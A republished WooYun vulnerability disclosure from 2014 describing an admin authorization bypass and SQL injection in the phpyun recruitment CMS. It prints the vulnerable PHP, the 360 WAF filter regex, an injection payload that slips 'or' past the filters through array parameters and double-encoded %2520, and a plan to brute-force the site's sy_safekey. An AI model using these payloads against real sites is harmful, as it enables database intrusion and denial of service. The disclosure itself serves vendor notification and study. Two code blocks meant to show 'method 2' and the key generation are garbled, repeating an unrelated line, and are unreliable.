phpyun绕过360艰难的SQL注射

admin 2015年4月28日20:39:45评论277 views字数 221阅读0分44秒阅读模式
摘要

2014-07-14: 细节已通知厂商并且等待厂商处理中
2014-07-14: 厂商已经确认,细节仅向厂商公开
2014-07-17: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-09-07: 细节向核心白帽子及相关领域专家公开
2014-09-17: 细节向普通白帽子公开
2014-09-27: 细节向实习白帽子公开
2014-10-12: 细节向公众公开

漏洞概要 关注数(25) 关注此漏洞

缺陷编号: WooYun-2014-68500

漏洞标题: phpyun绕过360艰难的SQL注射 phpyun绕过360艰难的SQL注射

相关厂商: php云人才系统

漏洞作者: Map

提交时间: 2014-07-14 18:53

公开时间: 2014-10-12 18:54

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: sql注射漏洞利用技巧 后台验证绕过

8人收藏


漏洞详情

披露状态:

2014-07-14: 细节已通知厂商并且等待厂商处理中
2014-07-14: 厂商已经确认,细节仅向厂商公开
2014-07-17: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-09-07: 细节向核心白帽子及相关领域专家公开
2014-09-17: 细节向普通白帽子公开
2014-09-27: 细节向实习白帽子公开
2014-10-12: 细节向公众公开

简要描述:

想在PHP云里进行一次SQL注射,真的是好难。

详细说明:

我首先发现了一个SQL注射,这个过程也不轻松。

在phpyun/model/class/action.class.php中

code 区域
function get_admin_user_shell(){ 
if($_SESSION['auid'] && $_SESSION['ashell']){
$row=$this->admin_get_user_shell($_SESSION['auid'],$_SESSION['ashell']);
if(!$row){$this->logout();echo "无权操作!";die;}
if($_GET['m']=="" || $_GET['m']=="index" || $_GET['m']=="ajax" || $_GET['m']=="admin_nav"){$_GET['m']="admin_right";}
$c=$_GET['c'];$m=$_GET['m'];
if($_GET['m']!="admin_right"){
$url=$_GET['m']=="cache"?"index.php?m=".$m."&c=".$c:"index.php?m=".$m;
$nav=$this->get_shell($row["m_id"],$url);
if(!$nav){$this->logout();echo "无权操作!";die;}
}
}else{
if($_GET['m']!=""){
$this->logout();
echo "无权操作!";die;
}
}
}

注意那句

code 区域
if($_GET['m']!=""){

,没错,只要m为空,那么这个后台的操作是可以被任何人操作的,正好,有一个操作就存在SQL注射漏洞。

在/phpyun/admin/model/index.class.php中的代码里

code 区域
function shortcut_menu_action(){
if($_POST['chk_value']){
$this->obj->DB_update_all("admin_navigation","`menu`='1'","`menu`='2'");
echo "`id` in(".@implode(',',$_POST['chk_value']).")";
$this->obj->DB_update_all("admin_navigation","`menu`='2'","`id` in(".@implode(',',$_POST['chk_value']).")");
echo 1;die;
}
}

$_POST['chk_value']直接来自POST,直接进入了SQL语句。

但是如果你想POST内容,那么你还需要pytoken,这个又怎么拿到呢。

code 区域
function admin(){
$r=$this->obj->get_admin_user_shell();
$this->registrs();
if($_POST){
if($_POST['pytoken']!=$_SESSION['pytoken']){
unset($_POST['pytoken']);
$this->obj->ACT_layer_msg("来源地址非法!",3,$this->config['sy_weburl']);
}
}
if(!$_SESSION['pytoken']){
$_SESSION['pytoken'] = substr(md5(uniqid().$_SESSION['auid'].$_SESSION['ausername'].$_SESSION['ashell']), 8, 12);
}
$this->yunset('pytoken',$_SESSION['pytoken']);


}

注意这一句

code 区域
if($_POST['pytoken']!=$_SESSION['pytoken']){
unset($_POST['pytoken']);
$this->obj->ACT_layer_msg("来源地址非法!",3,$this->config['sy_weburl']);
}

不过这个没问题,在登陆的页面就有,访问:http://localhost:8038/phpyun/admin/就可以取到。

phpyun绕过360艰难的SQL注射

好,接下来就是最糟糕的地方了,360的防御。

phpyun绕过360艰难的SQL注射

code 区域
我们试试最简单的 or 1=1 吧,看,360出来了(我把360的iframe页面修改成了echo 出来360几个字符了)。

查看data/db.safety.php会找到相应的代码,怎么bypass呢?

code 区域
$postfilter = "<.*=(&#//d+?;?)+?>|<.*data=data:text///html.*>|//b(alert//(|confirm//(|expression//(|prompt//(|benchmark/s*?//(/d+?|sleep/s*?//([/d/.]+?//)|load_file/s*?//()|<[^>]*?//b(onerror|onmousemove|onload|onclick|onmouseover)//b|//b(and|or)//b//s*?([//(//)'/"//d]+?=[//(//)'/"//d]+?|[//(//)'/"a-zA-Z]+?=[//(//)'/"a-zA-Z]+?|>|<|/s+?[//w]+?//s+?//bin//b//s*?/(|//blike//b//s+?[/"'])|/////*.+?//*///|/////*//*///|<//s*script//b|//bEXEC//b|UNION.+?SELECT(//(.+//)|//s+?.+?)|UPDATE(//(.+//)|//s+?.+?)SET|INSERT//s+INTO.+?VALUES|(SELECT|DELETE)(//(.+//)|//s+?.+?//s+?)FROM(//(.+//)|//s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)//s+(TABLE|DATABASE)";

怎么绕过呢,简单来说,只需要是多个数组就可以绕过了。

phpyun绕过360艰难的SQL注射

看,出现了新的情况,or被替换成了Or。

这部分的代码在:

code 区域
function gpc2sql($str) {

if(preg_match("/select|insert|update|delete|union|into|load_file|outfile/is", $str))
{
exit(safe_pape());
}
$arr=array(" and "=>" an d "," or "=>" Or ","%20"=>"","select"=>"Select","update"=>"Update","count"=>"Count","chr"=>"Chr","truncate"=>"Truncate","union"=>"Union","delete"=>"Delete","insert"=>"Insert");
foreach($arr as $key=>$v){
$str = preg_replace('/'.$key.'/isU',$v,$str);
}

如何避免被替换呢,有两个方法。

1,"%20"=>""

看,%20被替换成空了,我们只需要提交

code 区域
chk_value[]=1) o%2520r /*&chk_value[]=*/1=1#&pytoken=9a54d50f315b

%2520会被webserver转换成%20,%20就会被删除,留下的就是or了。

phpyun绕过360艰难的SQL注射

code 区域
由于or和and在%20的数组之前,我们才可以这么做的,但是select是不可以的,所以可以试试方法2
code 区域
if($_GET['m']!=""){

0

只需要知道sy_safekey,就可以实现SQL注射,sy_safekey怎么生成的。

code 区域
if($_GET['m']!=""){

1

如果我们想让服务器挂掉或者查询当前的数据库环境,很容易,我们可以很轻松的sleep或者获取当前运行的数据库信息了,这些不依赖select字符的事情我们都可以做了。

但是如果我们想做更多的事情,那么,我们就需要写个程序,post safekey到http://localhost:8038//phpyun/index.php?m=com&c=search&keyword=count,最多7999万次直到返回的count是count而不是Count,那么你就获取了sy_safekey,那么你就可以为所欲为了。

漏洞证明:

如果我们想让服务器挂掉或者查询当前的数据库环境,很容易,我们可以很轻松的sleep或者获取当前运行的数据库信息了,这些不依赖select字符的事情我们都可以做了。

但是如果我们想做更多的事情,那么,我们就需要写个程序,post safekey到http://localhost:8038//phpyun/index.php?m=com&c=search&keyword=count,最多7999万次直到返回的count是count而不是Count,那么你就获取了sy_safekey,那么你就可以为所欲为了。

修复方案:

foreach后intval

版权声明:转载请注明来源 Map@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2014-07-14 21:30

厂商回复:

感谢您的提供,我们会尽快修复!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-07-14 18:59 | Noxxx ( 普通白帽子 | Rank:720 漏洞数:60 )

    1

    我也提交了一个 http://wooyun.org/bugs/wooyun-2014-068400/trace/ac4bc68a9c6bbb5da551c8abc89525fe 求审核下...

  2. 2014-07-14 21:29 | php云人才系统(乌云厂商)

    1

    @Noxxx 审核暂未通过,暂时无法查看详情,审核完成,我们会第一时间进行确认,感谢您的支持!

  3. 2014-07-17 17:06 | Map ( 普通白帽子 | Rank:184 漏洞数:11 | 闭关几个星期,学点东西。)

    1

    我想多了,原来不需要那么麻烦就可以绕过的。

  4. 2014-08-21 10:03 | HRay ( 普通白帽子 | Rank:207 漏洞数:29 | 018)

    0

    “怎么绕过呢,简单来说,只需要是多个数组就可以绕过了”,洞主这里用到了复参,我印象中是IIS系列的可以,apache,nginx之类php环境较多的webserver貌似不支持啊

  5. 2014-08-21 14:27 | Map ( 普通白帽子 | Rank:184 漏洞数:11 | 闭关几个星期,学点东西。)

    0

    @HRay 数组和复参不是一个东西哟,么么哒。

  6. 2014-08-21 15:04 | HRay ( 普通白帽子 | Rank:207 漏洞数:29 | 018)

    0

    @Map 那句话后面的写法是chk_value[]=1) or /*&chk_value[]=*/1=1#

  7. 2014-08-21 15:07 | Map ( 普通白帽子 | Rank:184 漏洞数:11 | 闭关几个星期,学点东西。)

    0

    @HRay 这是数组,不是复参哟,么么哒,真的不是同一个东西哟,这在PHP内的意思是chk_value[0] chkvalue[1] 。

  8. 2014-08-21 15:12 | Map ( 普通白帽子 | Rank:184 漏洞数:11 | 闭关几个星期,学点东西。)

    0

    @HRay 而且你所提到的复参的概念,也是和语言有关的,并不是与webserver有关的 :)。

  9. 2014-08-21 16:27 | HRay ( 普通白帽子 | Rank:207 漏洞数:29 | 018)

    0

    @Map 本地测试了下,确实是自己没搞明白数组这块,复参与webserver有关是参考的http://www.80sec.com/%E6%B5%85%E8%B0%88%E7%BB%95%E8%BF%87waf%E7%9A%84%E6%95%B0%E7%A7%8D%E6%96%B9%E6%B3%95.html 里面提到“大家应该还记得09年的HTTP Parameter Pollution攻击,查看[3]文档,可以发现ASP/IIS和ASP.NET/IIS的场景下存在一个复参特性,本文将利用这种的特性的攻击简称为复参攻击”,当时看到列出的几个不同webserver不同语言的接收情况,就认为应该是webserver的问题,不过听你说完仔细一想,确实应该是应用程序接收参数处理的问题而与webserver无关,只是凑巧asp和asp.net都用IIS承载而已

  10. 2014-08-21 16:49 | Map ( 普通白帽子 | Rank:184 漏洞数:11 | 闭关几个星期,学点东西。)

    0

    @HRay 对的,chk_value[]=1) or /*&chk_value[]=*/1=1#这块我其实也可以写成,chk_value[1986]=1) or /*&chk_value[1987]=*/1=1#或者chk_value[woaini]=1) or /*&chk_value[niweishenmebuaiwo]=*/1=1#,其实本身来说,它就是两个变量。

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin